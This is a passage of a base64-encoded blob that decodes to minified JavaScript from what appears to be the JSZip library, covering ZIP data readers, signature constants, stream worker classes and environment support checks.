EoZSxyLnR5cGV8fCJzdHJpbmciLHIubWltZVR5cGUpfSxnZW5lcmF0ZUFzeW5jOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHRoaXMuZ2VuZXJhdGVJbnRlcm5hbFN0cmVhbSh0KS5hY2N1bXVsYXRlKGUpfSxnZW5lcmF0ZU5vZGVTdHJlYW06ZnVuY3Rpb24odCxlKXtyZXR1cm4odD10fHx7fSkudHlwZXx8KHQudHlwZT0ibm9kZWJ1ZmZlciIpLHRoaXMuZ2VuZXJhdGVJbnRlcm5hbFN0cmVhbSh0KS50b05vZGVqc1N0cmVhbShlKX19O2UuZXhwb3J0cz1pfSx7Ii4vY29tcHJlc3NlZE9iamVjdCI6MiwiLi9kZWZhdWx0cyI6NSwiLi9nZW5lcmF0ZSI6OSwiLi9ub2RlanMvTm9kZWpzU3RyZWFtSW5wdXRBZGFwdGVyIjoxMiwiLi9ub2RlanNVdGlscyI6MTQsIi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiOjI4LCIuL3N0cmVhbS9TdHJlYW1IZWxwZXIiOjI5LCIuL3V0ZjgiOjMxLCIuL3V0aWxzIjozMiwiLi96aXBPYmplY3QiOjM1fV0sMTY6W2Z1bmN0aW9uKHQsZSxyKXtlLmV4cG9ydHM9dCgic3RyZWFtIil9LHtzdHJlYW06dm9pZCAwfV0sMTc6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9EYXRhUmVhZGVyIik7ZnVuY3Rpb24gbih0KXtpLmNhbGwodGhpcyx0KTtmb3IodmFyIGU9MDtlPHRoaXMuZGF0YS5sZW5ndGg7ZSsrKXRbZV09MjU1JnRbZV19dCgiLi4vdXRpbHMiKS5pbmhlcml0cyhuLGkpLG4ucHJvdG90eXBlLmJ5dGVBdD1mdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5kYXRhW3RoaXMuemVybyt0XX0sbi5wcm90b3R5cGUubGFzdEluZGV4T2ZTaWduYXR1cmU9ZnVuY3Rpb24odCl7Zm9yKHZhciBlPXQuY2hhckNvZGVBdCgwKSxyPXQuY2hhckNvZGVBdCgxKSxpPXQuY2hhckNvZGVBdCgyKSxuPXQuY2hhckNvZGVBdCgzKSxzPXRoaXMubGVuZ3RoLTQ7MDw9czstLXMpaWYodGhpcy5kYXRhW3NdPT09ZSYmdGhpcy5kYXRhW3MrMV09PT1yJiZ0aGlzLmRhdGFbcysyXT09PWkmJnRoaXMuZGF0YVtzKzNdPT09bilyZXR1cm4gcy10aGlzLnplcm87cmV0dXJuLTF9LG4ucHJvdG90eXBlLnJlYWRBbmRDaGVja1NpZ25hdHVyZT1mdW5jdGlvbih0KXt2YXIgZT10LmNoYXJDb2RlQXQoMCkscj10LmNoYXJDb2RlQXQoMSksaT10LmNoYXJDb2RlQXQoMiksbj10LmNoYXJDb2RlQXQoMykscz10aGlzLnJlYWREYXRhKDQpO3JldHVybiBlPT09c1swXSYmcj09PXNbMV0mJmk9PT1zWzJdJiZuPT09c1szXX0sbi5wcm90b3R5cGUucmVhZERhdGE9ZnVuY3Rpb24odCl7aWYodGhpcy5jaGVja09mZnNldCh0KSwwPT09dClyZXR1cm5bXTt2YXIgZT10aGlzLmRhdGEuc2xpY2UodGhpcy56ZXJvK3RoaXMuaW5kZXgsdGhpcy56ZXJvK3RoaXMuaW5kZXgrdCk7cmV0dXJuIHRoaXMuaW5kZXgrPXQsZX0sZS5leHBvcnRzPW59LHsiLi4vdXRpbHMiOjMyLCIuL0RhdGFSZWFkZXIiOjE4fV0sMTg6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi4vdXRpbHMiKTtmdW5jdGlvbiBuKHQpe3RoaXMuZGF0YT10LHRoaXMubGVuZ3RoPXQubGVuZ3RoLHRoaXMuaW5kZXg9MCx0aGlzLnplcm89MH1uLnByb3RvdHlwZT17Y2hlY2tPZmZzZXQ6ZnVuY3Rpb24odCl7dGhpcy5jaGVja0luZGV4KHRoaXMuaW5kZXgrdCl9LGNoZWNrSW5kZXg6ZnVuY3Rpb24odCl7aWYodGhpcy5sZW5ndGg8dGhpcy56ZXJvK3R8fHQ8MCl0aHJvdyBuZXcgRXJyb3IoIkVuZCBvZiBkYXRhIHJlYWNoZWQgKGRhdGEgbGVuZ3RoID0gIit0aGlzLmxlbmd0aCsiLCBhc2tlZCBpbmRleCA9ICIrdCsiKS4gQ29ycnVwdGVkIHppcCA/Iil9LHNldEluZGV4OmZ1bmN0aW9uKHQpe3RoaXMuY2hlY2tJbmRleCh0KSx0aGlzLmluZGV4PXR9LHNraXA6ZnVuY3Rpb24odCl7dGhpcy5zZXRJbmRleCh0aGlzLmluZGV4K3QpfSxieXRlQXQ6ZnVuY3Rpb24odCl7fSxyZWFkSW50OmZ1bmN0aW9uKHQpe3ZhciBlLHI9MDtmb3IodGhpcy5jaGVja09mZnNldCh0KSxlPXRoaXMuaW5kZXgrdC0xO2U+PXRoaXMuaW5kZXg7ZS0tKXI9KHI8PDgpK3RoaXMuYnl0ZUF0KGUpO3JldHVybiB0aGlzLmluZGV4Kz10LHJ9LHJlYWRTdHJpbmc6ZnVuY3Rpb24odCl7cmV0dXJuIGkudHJhbnNmb3JtVG8oInN0cmluZyIsdGhpcy5yZWFkRGF0YSh0KSl9LHJlYWREYXRhOmZ1bmN0aW9uKHQpe30sbGFzdEluZGV4T2ZTaWduYXR1cmU6ZnVuY3Rpb24odCl7fSxyZWFkQW5kQ2hlY2tTaWduYXR1cmU6ZnVuY3Rpb24odCl7fSxyZWFkRGF0ZTpmdW5jdGlvbigpe3ZhciB0PXRoaXMucmVhZEludCg0KTtyZXR1cm4gbmV3IERhdGUoRGF0ZS5VVEMoMTk4MCsodD4+MjUmMTI3KSwodD4+MjEmMTUpLTEsdD4+MTYmMzEsdD4+MTEmMzEsdD4+NSY2MywoMzEmdCk8PDEpKX19LGUuZXhwb3J0cz1ufSx7Ii4uL3V0aWxzIjozMn1dLDE5OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4vVWludDhBcnJheVJlYWRlciIpO2Z1bmN0aW9uIG4odCl7aS5jYWxsKHRoaXMsdCl9dCgiLi4vdXRpbHMiKS5pbmhlcml0cyhuLGkpLG4ucHJvdG90eXBlLnJlYWREYXRhPWZ1bmN0aW9uKHQpe3RoaXMuY2hlY2tPZmZzZXQodCk7dmFyIGU9dGhpcy5kYXRhLnNsaWNlKHRoaXMuemVybyt0aGlzLmluZGV4LHRoaXMuemVybyt0aGlzLmluZGV4K3QpO3JldHVybiB0aGlzLmluZGV4Kz10LGV9LGUuZXhwb3J0cz1ufSx7Ii4uL3V0aWxzIjozMiwiLi9VaW50OEFycmF5UmVhZGVyIjoyMX1dLDIwOltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4vRGF0YVJlYWRlciIpO2Z1bmN0aW9uIG4odCl7aS5jYWxsKHRoaXMsdCl9dCgiLi4vdXRpbHMiKS5pbmhlcml0cyhuLGkpLG4ucHJvdG90eXBlLmJ5dGVBdD1mdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5kYXRhLmNoYXJDb2RlQXQodGhpcy56ZXJvK3QpfSxuLnByb3RvdHlwZS5sYXN0SW5kZXhPZlNpZ25hdHVyZT1mdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5kYXRhLmxhc3RJbmRleE9mKHQpLXRoaXMuemVyb30sbi5wcm90b3R5cGUucmVhZEFuZENoZWNrU2lnbmF0dXJlPWZ1bmN0aW9uKHQpe3JldHVybiB0PT09dGhpcy5yZWFkRGF0YSg0KX0sbi5wcm90b3R5cGUucmVhZERhdGE9ZnVuY3Rpb24odCl7dGhpcy5jaGVja09mZnNldCh0KTt2YXIgZT10aGlzLmRhdGEuc2xpY2UodGhpcy56ZXJvK3RoaXMuaW5kZXgsdGhpcy56ZXJvK3RoaXMuaW5kZXgrdCk7cmV0dXJuIHRoaXMuaW5kZXgrPXQsZX0sZS5leHBvcnRzPW59LHsiLi4vdXRpbHMiOjMyLCIuL0RhdGFSZWFkZXIiOjE4fV0sMjE6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9BcnJheVJlYWRlciIpO2Z1bmN0aW9uIG4odCl7aS5jYWxsKHRoaXMsdCl9dCgiLi4vdXRpbHMiKS5pbmhlcml0cyhuLGkpLG4ucHJvdG90eXBlLnJlYWREYXRhPWZ1bmN0aW9uKHQpe2lmKHRoaXMuY2hlY2tPZmZzZXQodCksMD09PXQpcmV0dXJuIG5ldyBVaW50OEFycmF5KDApO3ZhciBlPXRoaXMuZGF0YS5zdWJhcnJheSh0aGlzLnplcm8rdGhpcy5pbmRleCx0aGlzLnplcm8rdGhpcy5pbmRleCt0KTtyZXR1cm4gdGhpcy5pbmRleCs9dCxlfSxlLmV4cG9ydHM9bn0seyIuLi91dGlscyI6MzIsIi4vQXJyYXlSZWFkZXIiOjE3fV0sMjI6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi4vdXRpbHMiKSxuPXQoIi4uL3N1cHBvcnQiKSxzPXQoIi4vQXJyYXlSZWFkZXIiKSxhPXQoIi4vU3RyaW5nUmVhZGVyIiksbz10KCIuL05vZGVCdWZmZXJSZWFkZXIiKSxoPXQoIi4vVWludDhBcnJheVJlYWRlciIpO2UuZXhwb3J0cz1mdW5jdGlvbih0KXt2YXIgZT1pLmdldFR5cGVPZih0KTtyZXR1cm4gaS5jaGVja1N1cHBvcnQoZSksInN0cmluZyIhPT1lfHxuLnVpbnQ4YXJyYXk/Im5vZGVidWZmZXIiPT09ZT9uZXcgbyh0KTpuLnVpbnQ4YXJyYXk/bmV3IGgoaS50cmFuc2Zvcm1UbygidWludDhhcnJheSIsdCkpOm5ldyBzKGkudHJhbnNmb3JtVG8oImFycmF5Iix0KSk6bmV3IGEodCl9fSx7Ii4uL3N1cHBvcnQiOjMwLCIuLi91dGlscyI6MzIsIi4vQXJyYXlSZWFkZXIiOjE3LCIuL05vZGVCdWZmZXJSZWFkZXIiOjE5LCIuL1N0cmluZ1JlYWRlciI6MjAsIi4vVWludDhBcnJheVJlYWRlciI6MjF9XSwyMzpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtyLkxPQ0FMX0ZJTEVfSEVBREVSPSJQSwMEIixyLkNFTlRSQUxfRklMRV9IRUFERVI9IlBLAQIiLHIuQ0VOVFJBTF9ESVJFQ1RPUllfRU5EPSJQSwUGIixyLlpJUDY0X0NFTlRSQUxfRElSRUNUT1JZX0xPQ0FUT1I9IlBLBgciLHIuWklQNjRfQ0VOVFJBTF9ESVJFQ1RPUllfRU5EPSJQSwYGIixyLkRBVEFfREVTQ1JJUFRPUj0iUEsHXGIifSx7fV0sMjQ6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9HZW5lcmljV29ya2VyIiksbj10KCIuLi91dGlscyIpO2Z1bmN0aW9uIHModCl7aS5jYWxsKHRoaXMsIkNvbnZlcnRXb3JrZXIgdG8gIit0KSx0aGlzLmRlc3RUeXBlPXR9bi5pbmhlcml0cyhzLGkpLHMucHJvdG90eXBlLnByb2Nlc3NDaHVuaz1mdW5jdGlvbih0KXt0aGlzLnB1c2goe2RhdGE6bi50cmFuc2Zvcm1Ubyh0aGlzLmRlc3RUeXBlLHQuZGF0YSksbWV0YTp0Lm1ldGF9KX0sZS5leHBvcnRzPXN9LHsiLi4vdXRpbHMiOjMyLCIuL0dlbmVyaWNXb3JrZXIiOjI4fV0sMjU6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGk9dCgiLi9HZW5lcmljV29ya2VyIiksbj10KCIuLi9jcmMzMiIpO2Z1bmN0aW9uIHMoKXtpLmNhbGwodGhpcywiQ3JjMzJQcm9iZSIpLHRoaXMud2l0aFN0cmVhbUluZm8oImNyYzMyIiwwKX10KCIuLi91dGlscyIpLmluaGVyaXRzKHMsaSkscy5wcm90b3R5cGUucHJvY2Vzc0NodW5rPWZ1bmN0aW9uKHQpe3RoaXMuc3RyZWFtSW5mby5jcmMzMj1uKHQuZGF0YSx0aGlzLnN0cmVhbUluZm8uY3JjMzJ8fDApLHRoaXMucHVzaCh0KX0sZS5leHBvcnRzPXN9LHsiLi4vY3JjMzIiOjQsIi4uL3V0aWxzIjozMiwiLi9HZW5lcmljV29ya2VyIjoyOH1dLDI2OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4uL3V0aWxzIiksbj10KCIuL0dlbmVyaWNXb3JrZXIiKTtmdW5jdGlvbiBzKHQpe24uY2FsbCh0aGlzLCJEYXRhTGVuZ3RoUHJvYmUgZm9yICIrdCksdGhpcy5wcm9wTmFtZT10LHRoaXMud2l0aFN0cmVhbUluZm8odCwwKX1pLmluaGVyaXRzKHMsbikscy5wcm90b3R5cGUucHJvY2Vzc0NodW5rPWZ1bmN0aW9uKHQpe2lmKHQpe3ZhciBlPXRoaXMuc3RyZWFtSW5mb1t0aGlzLnByb3BOYW1lXXx8MDt0aGlzLnN0cmVhbUluZm9bdGhpcy5wcm9wTmFtZV09ZSt0LmRhdGEubGVuZ3RofW4ucHJvdG90eXBlLnByb2Nlc3NDaHVuay5jYWxsKHRoaXMsdCl9LGUuZXhwb3J0cz1zfSx7Ii4uL3V0aWxzIjozMiwiLi9HZW5lcmljV29ya2VyIjoyOH1dLDI3OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4uL3V0aWxzIiksbj10KCIuL0dlbmVyaWNXb3JrZXIiKTtmdW5jdGlvbiBzKHQpe24uY2FsbCh0aGlzLCJEYXRhV29ya2VyIik7dmFyIGU9dGhpczt0aGlzLmRhdGFJc1JlYWR5PSExLHRoaXMuaW5kZXg9MCx0aGlzLm1heD0wLHRoaXMuZGF0YT1udWxsLHRoaXMudHlwZT0iIix0aGlzLl90aWNrU2NoZWR1bGVkPSExLHQudGhlbihmdW5jdGlvbih0KXtlLmRhdGFJc1JlYWR5PSEwLGUuZGF0YT10LGUubWF4PXQmJnQubGVuZ3RofHwwLGUudHlwZT1pLmdldFR5cGVPZih0KSxlLmlzUGF1c2VkfHxlLl90aWNrQW5kUmVwZWF0KCl9LGZ1bmN0aW9uKHQpe2UuZXJyb3IodCl9KX1pLmluaGVyaXRzKHMsbikscy5wcm90b3R5cGUuY2xlYW5VcD1mdW5jdGlvbigpe24ucHJvdG90eXBlLmNsZWFuVXAuY2FsbCh0aGlzKSx0aGlzLmRhdGE9bnVsbH0scy5wcm90b3R5cGUucmVzdW1lPWZ1bmN0aW9uKCl7cmV0dXJuISFuLnByb3RvdHlwZS5yZXN1bWUuY2FsbCh0aGlzKSYmKCF0aGlzLl90aWNrU2NoZWR1bGVkJiZ0aGlzLmRhdGFJc1JlYWR5JiYodGhpcy5fdGlja1NjaGVkdWxlZD0hMCxpLmRlbGF5KHRoaXMuX3RpY2tBbmRSZXBlYXQsW10sdGhpcykpLCEwKX0scy5wcm90b3R5cGUuX3RpY2tBbmRSZXBlYXQ9ZnVuY3Rpb24oKXt0aGlzLl90aWNrU2NoZWR1bGVkPSExLHRoaXMuaXNQYXVzZWR8fHRoaXMuaXNGaW5pc2hlZHx8KHRoaXMuX3RpY2soKSx0aGlzLmlzRmluaXNoZWR8fChpLmRlbGF5KHRoaXMuX3RpY2tBbmRSZXBlYXQsW10sdGhpcyksdGhpcy5fdGlja1NjaGVkdWxlZD0hMCkpfSxzLnByb3RvdHlwZS5fdGljaz1mdW5jdGlvbigpe2lmKHRoaXMuaXNQYXVzZWR8fHRoaXMuaXNGaW5pc2hlZClyZXR1cm4hMTt2YXIgdD1udWxsLGU9TWF0aC5taW4odGhpcy5tYXgsdGhpcy5pbmRleCsxNjM4NCk7aWYodGhpcy5pbmRleD49dGhpcy5tYXgpcmV0dXJuIHRoaXMuZW5kKCk7c3dpdGNoKHRoaXMudHlwZSl7Y2FzZSJzdHJpbmciOnQ9dGhpcy5kYXRhLnN1YnN0cmluZyh0aGlzLmluZGV4LGUpO2JyZWFrO2Nhc2UidWludDhhcnJheSI6dD10aGlzLmRhdGEuc3ViYXJyYXkodGhpcy5pbmRleCxlKTticmVhaztjYXNlImFycmF5IjpjYXNlIm5vZGVidWZmZXIiOnQ9dGhpcy5kYXRhLnNsaWNlKHRoaXMuaW5kZXgsZSl9cmV0dXJuIHRoaXMuaW5kZXg9ZSx0aGlzLnB1c2goe2RhdGE6dCxtZXRhOntwZXJjZW50OnRoaXMubWF4P3RoaXMuaW5kZXgvdGhpcy5tYXgqMTAwOjB9fSl9LGUuZXhwb3J0cz1zfSx7Ii4uL3V0aWxzIjozMiwiLi9HZW5lcmljV29ya2VyIjoyOH1dLDI4OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGkodCl7dGhpcy5uYW1lPXR8fCJkZWZhdWx0Iix0aGlzLnN0cmVhbUluZm89e30sdGhpcy5nZW5lcmF0ZWRFcnJvcj1udWxsLHRoaXMuZXh0cmFTdHJlYW1JbmZvPXt9LHRoaXMuaXNQYXVzZWQ9ITAsdGhpcy5pc0ZpbmlzaGVkPSExLHRoaXMuaXNMb2NrZWQ9ITEsdGhpcy5fbGlzdGVuZXJzPXtkYXRhOltdLGVuZDpbXSxlcnJvcjpbXX0sdGhpcy5wcmV2aW91cz1udWxsfWkucHJvdG90eXBlPXtwdXNoOmZ1bmN0aW9uKHQpe3RoaXMuZW1pdCgiZGF0YSIsdCl9LGVuZDpmdW5jdGlvbigpe2lmKHRoaXMuaXNGaW5pc2hlZClyZXR1cm4hMTt0aGlzLmZsdXNoKCk7dHJ5e3RoaXMuZW1pdCgiZW5kIiksdGhpcy5jbGVhblVwKCksdGhpcy5pc0ZpbmlzaGVkPSEwfWNhdGNoKHQpe3RoaXMuZW1pdCgiZXJyb3IiLHQpfXJldHVybiEwfSxlcnJvcjpmdW5jdGlvbih0KXtyZXR1cm4hdGhpcy5pc0ZpbmlzaGVkJiYodGhpcy5pc1BhdXNlZD90aGlzLmdlbmVyYXRlZEVycm9yPXQ6KHRoaXMuaXNGaW5pc2hlZD0hMCx0aGlzLmVtaXQoImVycm9yIix0KSx0aGlzLnByZXZpb3VzJiZ0aGlzLnByZXZpb3VzLmVycm9yKHQpLHRoaXMuY2xlYW5VcCgpKSwhMCl9LG9uOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHRoaXMuX2xpc3RlbmVyc1t0XS5wdXNoKGUpLHRoaXN9LGNsZWFuVXA6ZnVuY3Rpb24oKXt0aGlzLnN0cmVhbUluZm89dGhpcy5nZW5lcmF0ZWRFcnJvcj10aGlzLmV4dHJhU3RyZWFtSW5mbz1udWxsLHRoaXMuX2xpc3RlbmVycz1bXX0sZW1pdDpmdW5jdGlvbih0LGUpe2lmKHRoaXMuX2xpc3RlbmVyc1t0XSlmb3IodmFyIHI9MDtyPHRoaXMuX2xpc3RlbmVyc1t0XS5sZW5ndGg7cisrKXRoaXMuX2xpc3RlbmVyc1t0XVtyXS5jYWxsKHRoaXMsZSl9LHBpcGU6ZnVuY3Rpb24odCl7cmV0dXJuIHQucmVnaXN0ZXJQcmV2aW91cyh0aGlzKX0scmVnaXN0ZXJQcmV2aW91czpmdW5jdGlvbih0KXtpZih0aGlzLmlzTG9ja2VkKXRocm93IG5ldyBFcnJvcigiVGhlIHN0cmVhbSAnIit0aGlzKyInIGhhcyBhbHJlYWR5IGJlZW4gdXNlZC4iKTt0aGlzLnN0cmVhbUluZm89dC5zdHJlYW1JbmZvLHRoaXMubWVyZ2VTdHJlYW1JbmZvKCksdGhpcy5wcmV2aW91cz10O3ZhciBlPXRoaXM7cmV0dXJuIHQub24oImRhdGEiLGZ1bmN0aW9uKHQpe2UucHJvY2Vzc0NodW5rKHQpfSksdC5vbigiZW5kIixmdW5jdGlvbigpe2UuZW5kKCl9KSx0Lm9uKCJlcnJvciIsZnVuY3Rpb24odCl7ZS5lcnJvcih0KX0pLHRoaXN9LHBhdXNlOmZ1bmN0aW9uKCl7cmV0dXJuIXRoaXMuaXNQYXVzZWQmJiF0aGlzLmlzRmluaXNoZWQmJih0aGlzLmlzUGF1c2VkPSEwLHRoaXMucHJldmlvdXMmJnRoaXMucHJldmlvdXMucGF1c2UoKSwhMCl9LHJlc3VtZTpmdW5jdGlvbigpe2lmKCF0aGlzLmlzUGF1c2VkfHx0aGlzLmlzRmluaXNoZWQpcmV0dXJuITE7dmFyIHQ9dGhpcy5pc1BhdXNlZD0hMTtyZXR1cm4gdGhpcy5nZW5lcmF0ZWRFcnJvciYmKHRoaXMuZXJyb3IodGhpcy5nZW5lcmF0ZWRFcnJvciksdD0hMCksdGhpcy5wcmV2aW91cyYmdGhpcy5wcmV2aW91cy5yZXN1bWUoKSwhdH0sZmx1c2g6ZnVuY3Rpb24oKXt9LHByb2Nlc3NDaHVuazpmdW5jdGlvbih0KXt0aGlzLnB1c2godCl9LHdpdGhTdHJlYW1JbmZvOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHRoaXMuZXh0cmFTdHJlYW1JbmZvW3RdPWUsdGhpcy5tZXJnZVN0cmVhbUluZm8oKSx0aGlzfSxtZXJnZVN0cmVhbUluZm86ZnVuY3Rpb24oKXtmb3IodmFyIHQgaW4gdGhpcy5leHRyYVN0cmVhbUluZm8pdGhpcy5leHRyYVN0cmVhbUluZm8uaGFzT3duUHJvcGVydHkodCkmJih0aGlzLnN0cmVhbUluZm9bdF09dGhpcy5leHRyYVN0cmVhbUluZm9bdF0pfSxsb2NrOmZ1bmN0aW9uKCl7aWYodGhpcy5pc0xvY2tlZCl0aHJvdyBuZXcgRXJyb3IoIlRoZSBzdHJlYW0gJyIrdGhpcysiJyBoYXMgYWxyZWFkeSBiZWVuIHVzZWQuIik7dGhpcy5pc0xvY2tlZD0hMCx0aGlzLnByZXZpb3VzJiZ0aGlzLnByZXZpb3VzLmxvY2soKX0sdG9TdHJpbmc6ZnVuY3Rpb24oKXt2YXIgdD0iV29ya2VyICIrdGhpcy5uYW1lO3JldHVybiB0aGlzLnByZXZpb3VzP3RoaXMucHJldmlvdXMrIiAtPiAiK3Q6dH19LGUuZXhwb3J0cz1pfSx7fV0sMjk6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIGg9dCgiLi4vdXRpbHMiKSxuPXQoIi4vQ29udmVydFdvcmtlciIpLHM9dCgiLi9HZW5lcmljV29ya2VyIiksdT10KCIuLi9iYXNlNjQiKSxpPXQoIi4uL3N1cHBvcnQiKSxhPXQoIi4uL2V4dGVybmFsIiksbz1udWxsO2lmKGkubm9kZXN0cmVhbSl0cnl7bz10KCIuLi9ub2RlanMvTm9kZWpzU3RyZWFtT3V0cHV0QWRhcHRlciIpfWNhdGNoKHQpe31mdW5jdGlvbiBsKHQsbyl7cmV0dXJuIG5ldyBhLlByb21pc2UoZnVuY3Rpb24oZSxyKXt2YXIgaT1bXSxuPXQuX2ludGVybmFsVHlwZSxzPXQuX291dHB1dFR5cGUsYT10Ll9taW1lVHlwZTt0Lm9uKCJkYXRhIixmdW5jdGlvbih0LGUpe2kucHVzaCh0KSxvJiZvKGUpfSkub24oImVycm9yIixmdW5jdGlvbih0KXtpPVtdLHIodCl9KS5vbigiZW5kIixmdW5jdGlvbigpe3RyeXt2YXIgdD1mdW5jdGlvbih0LGUscil7c3dpdGNoKHQpe2Nhc2UiYmxvYiI6cmV0dXJuIGgubmV3QmxvYihoLnRyYW5zZm9ybVRvKCJhcnJheWJ1ZmZlciIsZSkscik7Y2FzZSJiYXNlNjQiOnJldHVybiB1LmVuY29kZShlKTtkZWZhdWx0OnJldHVybiBoLnRyYW5zZm9ybVRvKHQsZSl9fShzLGZ1bmN0aW9uKHQsZSl7dmFyIHIsaT0wLG49bnVsbCxzPTA7Zm9yKHI9MDtyPGUubGVuZ3RoO3IrKylzKz1lW3JdLmxlbmd0aDtzd2l0Y2godCl7Y2FzZSJzdHJpbmciOnJldHVybiBlLmpvaW4oIiIpO2Nhc2UiYXJyYXkiOnJldHVybiBBcnJheS5wcm90b3R5cGUuY29uY2F0LmFwcGx5KFtdLGUpO2Nhc2UidWludDhhcnJheSI6Zm9yKG49bmV3IFVpbnQ4QXJyYXkocykscj0wO3I8ZS5sZW5ndGg7cisrKW4uc2V0KGVbcl0saSksaSs9ZVtyXS5sZW5ndGg7cmV0dXJuIG47Y2FzZSJub2RlYnVmZmVyIjpyZXR1cm4gQnVmZmVyLmNvbmNhdChlKTtkZWZhdWx0OnRocm93IG5ldyBFcnJvcigiY29uY2F0IDogdW5zdXBwb3J0ZWQgdHlwZSAnIit0KyInIil9fShuLGkpLGEpO2UodCl9Y2F0Y2godCl7cih0KX1pPVtdfSkucmVzdW1lKCl9KX1mdW5jdGlvbiBmKHQsZSxyKXt2YXIgaT1lO3N3aXRjaChlKXtjYXNlImJsb2IiOmNhc2UiYXJyYXlidWZmZXIiOmk9InVpbnQ4YXJyYXkiO2JyZWFrO2Nhc2UiYmFzZTY0IjppPSJzdHJpbmcifXRyeXt0aGlzLl9pbnRlcm5hbFR5cGU9aSx0aGlzLl9vdXRwdXRUeXBlPWUsdGhpcy5fbWltZVR5cGU9cixoLmNoZWNrU3VwcG9ydChpKSx0aGlzLl93b3JrZXI9dC5waXBlKG5ldyBuKGkpKSx0LmxvY2soKX1jYXRjaCh0KXt0aGlzLl93b3JrZXI9bmV3IHMoImVycm9yIiksdGhpcy5fd29ya2VyLmVycm9yKHQpfX1mLnByb3RvdHlwZT17YWNjdW11bGF0ZTpmdW5jdGlvbih0KXtyZXR1cm4gbCh0aGlzLHQpfSxvbjpmdW5jdGlvbih0LGUpe3ZhciByPXRoaXM7cmV0dXJuImRhdGEiPT09dD90aGlzLl93b3JrZXIub24odCxmdW5jdGlvbih0KXtlLmNhbGwocix0LmRhdGEsdC5tZXRhKX0pOnRoaXMuX3dvcmtlci5vbih0LGZ1bmN0aW9uKCl7aC5kZWxheShlLGFyZ3VtZW50cyxyKX0pLHRoaXN9LHJlc3VtZTpmdW5jdGlvbigpe3JldHVybiBoLmRlbGF5KHRoaXMuX3dvcmtlci5yZXN1bWUsW10sdGhpcy5fd29ya2VyKSx0aGlzfSxwYXVzZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLl93b3JrZXIucGF1c2UoKSx0aGlzfSx0b05vZGVqc1N0cmVhbTpmdW5jdGlvbih0KXtpZihoLmNoZWNrU3VwcG9ydCgibm9kZXN0cmVhbSIpLCJub2RlYnVmZmVyIiE9PXRoaXMuX291dHB1dFR5cGUpdGhyb3cgbmV3IEVycm9yKHRoaXMuX291dHB1dFR5cGUrIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IHRoaXMgbWV0aG9kIik7cmV0dXJuIG5ldyBvKHRoaXMse29iamVjdE1vZGU6Im5vZGVidWZmZXIiIT09dGhpcy5fb3V0cHV0VHlwZX0sdCl9fSxlLmV4cG9ydHM9Zn0seyIuLi9iYXNlNjQiOjEsIi4uL2V4dGVybmFsIjo2LCIuLi9ub2RlanMvTm9kZWpzU3RyZWFtT3V0cHV0QWRhcHRlciI6MTMsIi4uL3N1cHBvcnQiOjMwLCIuLi91dGlscyI6MzIsIi4vQ29udmVydFdvcmtlciI6MjQsIi4vR2VuZXJpY1dvcmtlciI6Mjh9XSwzMDpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtpZihyLmJhc2U2ND0hMCxyLmFycmF5PSEwLHIuc3RyaW5nPSEwLHIuYXJyYXlidWZmZXI9InVuZGVmaW5lZCIhPXR5cGVvZiBBcnJheUJ1ZmZlciYmInVuZGVmaW5lZCIhPXR5cGVvZiBVaW50OEFycmF5LHIubm9kZWJ1ZmZlcj0idW5kZWZpbmVkIiE9dHlwZW9mIEJ1ZmZlcixyLnVpbnQ4YXJyYXk9InVuZGVmaW5lZCIhPXR5cGVvZiBVaW50OEFycmF5LCJ1bmRlZmluZWQiPT10eXBlb2YgQXJyYXlCdWZmZXIpci5ibG9iPSExO2Vsc2V7dmFyIGk9bmV3IEFycmF5QnVmZmVyKDApO3RyeXtyLmJsb2I9MD09PW5ldyBCbG9iKFtpXSx7dHlwZToiYXBwbGljYXRpb24vemlwIn0pLnNpemV9Y2F0Y2godCl7dHJ5e3ZhciBuPW5ldyhzZWxmLkJsb2JCdWlsZGVyfHxzZWxmLldlYktpdEJsb2JCdWlsZGVyfHxzZWxmLk1vekJsb2JCdWlsZGVyfHxzZWxmLk1TQmxvYkJ1aWxkZXIpO24uYXBwZW5kKGkpLHIuYmxvYj0wPT09bi5nZXRCbG9iKCJhcHBsaWNhdGlvbi96aXAiKS5zaXplfWNhdGNoKHQpe3IuYmxvYj0hMX19fXRyeXtyLm5vZGVzdHJlYW09ISF0KCJyZWFkYWJsZS1zdHJlYW0iKS5SZWFkYWJsZX1jYXRjaCh0KXtyLm5vZGVzdHJlYW09ITF9fSx7InJlYWRhYmxlLXN0cmVhbSI6MTZ9XSwzMTpbZnVuY3Rpb24odCxlLHMpeyJ1c2Ugc3RyaWN0Ijtmb3IodmFyIG89dCgiLi91dGlscyIpLGg9dCgiLi9zdXBwb3J0Iikscj10KCIuL25vZGVqc1V0aWxzIiksaT10KCIuL3N0cmVhbS9HZW5lcmljV29ya2VyIiksdT1uZXcgQXJyYXkoMjU2KSxuPTA7bjwyNTY7bisrKXVbbl09MjUyPD1uPzY6MjQ4PD1uPzU6MjQwPD1uPzQ6MjI0PD1uPzM